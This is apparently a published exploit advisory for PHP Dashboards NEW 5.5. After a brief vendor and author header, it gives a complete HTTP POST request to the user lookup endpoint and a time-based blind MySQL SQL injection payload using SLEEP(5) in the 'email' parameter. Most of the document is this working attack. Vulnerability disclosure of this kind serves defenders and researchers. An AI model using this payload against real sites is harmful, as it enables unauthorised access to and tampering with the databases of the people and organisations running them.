PHP Dashboards NEW 5.5 - 'email' SQL Injection

# Exploit Title: PHP Dashboards NEW v5.5 - 'Login' SQL Injection
# Dork: N/A
# Date: 31.05.2018
# Exploit Author: Kağan Çapar
# Contact: [email protected]
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104

# Version: 5.5
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.
====================================================

# PoC : SQLi :


POST /php/save/user.php?mode=lookup HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.com/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 52
Cookie: PHPSESSID=phcubu5ohtdjnd6g1bmsncro87
Connection: keep-alive
email=test%40test.com&password=test123&dashboardKey=

Parameter: email (POST)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: [email protected]' AND SLEEP(5) AND
'XnxG'='XnxG&password=test123&dashboardKey=


====================================================